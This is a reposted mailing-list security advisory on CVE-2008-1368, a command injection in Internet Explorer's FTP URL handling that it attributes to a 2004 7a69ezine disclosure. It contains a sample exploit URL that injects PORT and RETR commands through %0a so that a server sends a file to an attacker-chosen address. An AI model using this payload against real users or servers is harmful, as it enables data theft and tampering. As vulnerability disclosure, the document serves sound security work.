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  Topic : Microsoft Internet Explorer FTP Command Injection Vulnerability
  SecurityAlert : 3750
  CVE : CVE-2008-1368
  SecurityRisk : Medium  alert  (About)
  Remote Exploit : Yes
  Local Exploit : No
  Exploit Given : Yes
  Credit : Albert Puigsech Galicia
  Published : 18.03.2008

  Affected Software : Microsoft Internet Explorer >= 6.0.2800.1106



  Advisory Text :  

Hello ml,

I would like to point out that this vulnerability (Microsoft Internet
Explorer FTP Command Injection Vulnerability)
has been published long time ago, here is the advisory:
------------------------------------
- ------------------------------------------------------------------
7a69ezine Advisories 7a69Adv#15
- ------------------------------------------------------------------
http://www.7a69ezine.org [05/12/2004]
- ------------------------------------------------------------------

Title: Internet Explorer FTP command injection

Author: Albert Puigsech Galicia - <ripe (at) 7a69ezine (dot) org [email
concealed]>

Software: Microsoft Internet Explorer

Versions: >= 6.0.2800.1106

Remote: yes

Exploit: yes

Severity: Low-Medium

- ------------------------------------------------------------------

I. Introduction.

Internet Explorer is a well-known HTTP browser, and like others it can use
more protocols, for example FTP. The security historial of this navigator
is
really cool and we are glad for the excelent work done by Microsoft. We
love
your (in)security features.

II. Description.

In order to access to a server FTP using Internet Explorer you write
"ftp://ftpuser:ftppass@server/directory" in the directions's bar and then
the
navigator connects to the server and executes the following commands (and
other that have omitted because they are not important for this stuff).

USER ftpuser
PASS ftppass
CWD /directory/

The security problem resides in which is posible to inject FTP commands on
the URL adding at the code %0a followed by your injected commands. If you
do
"ftp://ftpuser:ftppass@server/directory%0asomecommand%0a" it will execute
those commands.

USER ftpuser
PASS ftppass
CWD /directory
somecommand

The last line is an erroneous command, but it's not a problem because
'somecommand' has already been executed.

III. Exploit

You need to deceive a user to go to your URL and then to introduce a valid
user and password. So yes! The explotation also requires to apply social
engineering. Then you can do a lot of things using this bug like create or
delete files and directories, but probably, the most interesting thing is
to
download files. Its posible to do that using this URL;

ftp://server/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file

Then the server will connect to a.b.c.d and port e,f (see FTP RFC to
translate the port number) and will send the file data.

IV. Patch

Internet Explorer sucks a lot, just turn to Firefox World.

V. Timeline

01/12/2004 - Bug discovered on konqueror browser
03/12/2004 - Tried in IE. Also afected!
05/12/2004 - Advisor released

VI. Extra data

You can find more 7a69ezine advisories on this following link:

http://www.7a69ezine.org/avisos/propios [spanish info]
----------------------------------------------

Cheers,

kralor





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